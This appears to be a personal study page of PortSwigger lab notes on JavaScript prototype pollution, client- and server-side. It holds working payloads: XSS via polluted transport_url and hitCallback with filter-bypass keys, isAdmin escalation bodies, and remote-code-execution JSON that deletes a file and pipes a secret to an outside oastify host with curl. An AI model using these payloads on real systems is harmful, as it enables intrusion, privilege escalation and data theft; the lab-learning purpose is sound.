root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Prototype Pollution



Prototype and Inheritance in Javascript


const user = {name: "Andrew",age: 15,role: "admin"};
user.name //Andrew
user['name'] //Andrew
const user = {name: "Andrew",age: 15,role: "admin",isAdmin: function() {if (this.role === 'admin'){ return true; } else {return false;}}};

Prototype in Javascript


let myString = "";
Object.getPrototypeOf(myString); //String

image


Accessing an object’s prototype using __proto__


let username = "sensei";
username.__proto__; //String.prototype
username.__proto__.__proto__; //Objeect.prototype
username.__proto__.__proto__.__proto__; //null

How the vulnerabiity arises



Components


https://loclahost:5000/?__proto__[evilSink]=payload
{__proto__:{evilSink: 'payload' } }
targetObject.__proto__.evilSink = payload;
let transport_url = config.transport_url || defaults.transport_url;
let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//

Client Side Prototype Pollution


https://0a94002a0497549a803b037c00ac00cc.web-security-academy.net/?__proto__[transport_url]=data:,alert(1);//
var deparam = function( params, coerce ) {
    var obj = {},
        coerce_types = { 'true': !0, 'false': !1, 'null': null };

    if (!params) {
        return obj;
    }

    params.replace(/\+/g, ' ').split('&').forEach(function(v){
        var param = v.split( '=' ),
            key = decodeURIComponent( param[0] ),
            val,
            cur = obj,
            i = 0,

            keys = key.split( '][' ),
            keys_last = keys.length - 1;

        if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
            keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
            keys = keys.shift().split('[').concat( keys );
            keys_last = keys.length - 1;
        } else {
            keys_last = 0;
        }

        if ( param.length === 2 ) {
            val = decodeURIComponent( param[1] );

            if ( coerce ) {
                val = val && !isNaN(val) && ((+val + '') === val) ? +val        // number
                    : val === 'undefined'                       ? undefined         // undefined
                        : coerce_types[val] !== undefined           ? coerce_types[val] // true, false, null
                            : val;                                                          // string
            }

            if ( keys_last ) {
                for ( ; i <= keys_last; i++ ) {
                    key = keys[i] === '' ? cur.length : keys[i];
                    cur = cur[key] = i < keys_last
                        ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
                        : val;
                }

            } else {
                if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
                    obj[key].push( val );

                } else if ( {}.hasOwnProperty.call(obj, key) ) {
                    obj[key] = [ obj[key], val ];
                } else {
                    obj[key] = val;
                }
            }

        } else if ( key ) {
            obj[key] = coerce
                ? undefined
                : '';
        }
    });

    return obj;
};
https://0a5b009003c8944f805d03a9008e00c1.web-security-academy.net/?__proto__.sequence=%27z%27);alert(1)}%20//
__proto__[sequence]=payload
__proto__.sequence=payload
// Add an URL parser to JQuery that returns an object
// This function is meant to be used with an URL like the window.location
// Use: $.parseParams('http://mysite.com/?var=string') or $.parseParams() to parse the window.location
// Simple variable:  ?var=abc                        returns {var: "abc"}
// Simple object:    ?var.length=2&var.scope=123     returns {var: {length: "2", scope: "123"}}
// Simple array:     ?var[]=0&var[]=9                returns {var: ["0", "9"]}
// Array with index: ?var[0]=0&var[1]=9              returns {var: ["0", "9"]}
// Nested objects:   ?my.var.is.here=5               returns {my: {var: {is: {here: "5"}}}}
// All together:     ?var=a&my.var[]=b&my.cookie=no  returns {var: "a", my: {var: ["b"], cookie: "no"}}
// You just cant have an object in an array, ?var[1].test=abc DOES NOT WORK
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');


Lab-: Client-side prototype pollution via flawed sanitization


https://0a97007804f29e4e818f84e7005d005f.web-security-academy.net/?__pro__proto__to__[transport_url]=data:,alert(1);//
myObject.constructor.prototype        // Object.prototype
myString.constructor.prototype        // String.prototype
myArray.constructor.prototype         // Array.prototype

Using DOM Invader to identify prototype pollution in third party libraries


<meta name="referrer" content="never">
<script>
location="https://0a62000303cbd84f8051f313000400dd.web-security-academy.net/chat?constructor[prototype][hitCallback]=alert(document.cookie)&constructor.prototype.hitCallback=alert(document.cookie)&__proto__.hitCallback=alert(document.cookie)&__proto__[hitCallback]=alert(document.cookie)&constrconstructoructor[prototype][hitCallback]=alert(document.cookie)&constrconstructoructor.prototype.hitCallback=alert(document.cookie)&__pro__proto__to__.hitCallback=alert(document.cookie)&__pro__proto__to__[hitCallback]=alert(document.cookie)#constructor[prototype][hitCallback]=alert(document.cookie)&constructor.prototype.hitCallback=alert(document.cookie)&__proto__.hitCallback=alert(document.cookie)&__proto__[hitCallback]=alert(document.cookie)&constrconstructoructor[prototype][hitCallback]=alert(document.cookie)&constrconstructoructor.prototype.hitCallback=alert(document.cookie)&__pro__proto__to__.hitCallback=alert(document.cookie)&__pro__proto__to__[hitCallback]=alert(document.cookie)"
</script>
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Prototype Pollution Browser APIS


fetch('https://normal-website.com/my-account/change-email', {
    method: 'POST',
    body: 'user=carlos&email=carlos%40ginandjuice.shop'
})
fetch('/my-products.json',{method:"GET"})
    .then((response) => response.json())
    .then((data) => {
        let username = data['x-username'];
        let message = document.querySelector('.message');
        if(username) {
            message.innerHTML = `My products. Logged in as <b>${username}</b>`;
        }
        let productList = document.querySelector('ul.products');
        for(let product of data) {
            let product = document.createElement('li');
            product.append(product.name);
            productList.append(product);
        }
    })
    .catch(console.error);
?__proto__[headers][x-username]=<img/src/onerror=alert(1)>
https://0a0800be0322ce61805912f8004f00fe.web-security-academy.net/?__proto__[value]=data:,alert(1);//
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false}); //value key is not set

Server-side Prototype Pollution


image

image

POST /my-account/change-address HTTP/2
Host: 0a80008a04aab2458188702000950037.web-security-academy.net
Cookie: session=RpBd2708AlwcHGnQTiusLdpPJW5z02B1
Content-Length: 168
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Sec-Ch-Ua: "Chromium";v="140", "Not=A?Brand";v="24", "Brave";v="140"
Content-Type: application/json;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Gpc: 1
Accept-Language: en-US,en;q=0.8
Origin: https://0a80008a04aab2458188702000950037.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a80008a04aab2458188702000950037.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"RpBd2708AlwcHGnQTiusLdpPJW5z02B1","__proto__":{"isAdmin":true}}

Detecting server-side prototype pollution without polluted property reflection


wget http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.11.tar.gz
tar -xvf libiconv-1.11.tar.gz
cd libiconv-1.11
./configure --prefix=/usr/local/iconv

image

Status code override
JSON spaces override
Charset override
{
    "error": {
        "success": false,
        "status": 401,
        "message": "You do not have permission to access this resource."
    }
}
function createError () {
    //...
    if (type === 'object' && arg instanceof Error) {
        err = arg
        status = err.status || err.statusCode || status
    } else if (type === 'number' && i === 0) {
    //...
    if (typeof status !== 'number' ||
    (!statuses.message[status] && (status < 400 || status >= 600))) {
        status = 500
    }
    //...
 status = err.status || err.statusCode || status
var charset = getCharset(req) or 'utf-8'

function getCharset (req) {
    try {
        return (contentType.parse(req).parameters.charset || '').toLowerCase()
    } catch (e) {
        return undefined
    }
}

read(req, res, next, parse, debug, {
    encoding: charset,
    inflate: inflate,
    limit: limit,
    verify: verify
})
{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"default",
    "__proto__":{
        "content-type": "application/json; charset=utf-7"
    }
}
IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
    // ...
    } else if (dest[field] === undefined) {
        // Drop duplicates
        dest[field] = value;
    }
}

If it does, the header being processed is effectively dropped. Due to the way this is implemented, this check (presumably unintentionally) includes properties inherited via the prototype chain. This means that if we pollute the prototype with our own content-type property, the property representing the real Content-Type header from the request is dropped at this point, along with the intended value derived from the header.

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "in1gBgf219ibnRiQgX2TWBVjrK808olK",
  "__proto__": {
    "json spaces": 3
  }
}
{
  "address_line_1": "+AEgAZQBsAGwAbwAgACgAIABXAG8AcgBsAGQAIQAg5L2g5aW9ACAA8J+Mjw-",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "ZH3bo0oZfag2nB6Una1u5xNt4qtS9bEo",
  "_proto__": {
    "content-type": "application/json;charset=UTF-7"
  }
}

Bypassing filters


__pro__proto__to__
consconstructortructor.proprototypetotype
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "aXi5nNBtlbVU0fVoKld6V7B4lVfH0jpO",
  "constructor": {
    "prototype": {
      "isAdmin": true
    }
  }
}

image


Remote COde Execution


{
"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
}
"execArgv": [
    "--eval=require('<module>')"
]
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "9hBiJF55gLMXiljYtkhTWhYIpTRFl4VQ",
  "constructor": {
    "prototype": {
      "execArgv": [
        "--eval=require(node:child_process).spawn(rm,[/home/carlos/morale.txt])"
      ]
    }
  }
}

Remote code execution via child_process.execSync()


image

"shell":"vim",
"input":":! <command>\n"
{
  "constructor": {
    "prototype": {
      "shell": "vim",
      "input": ":! sh -c cat /home/carlos/secret | curl z993grzca1i7deezwsccp9qvcmid6gu5.oastify.com/ -d @- \n"
    }
  }
}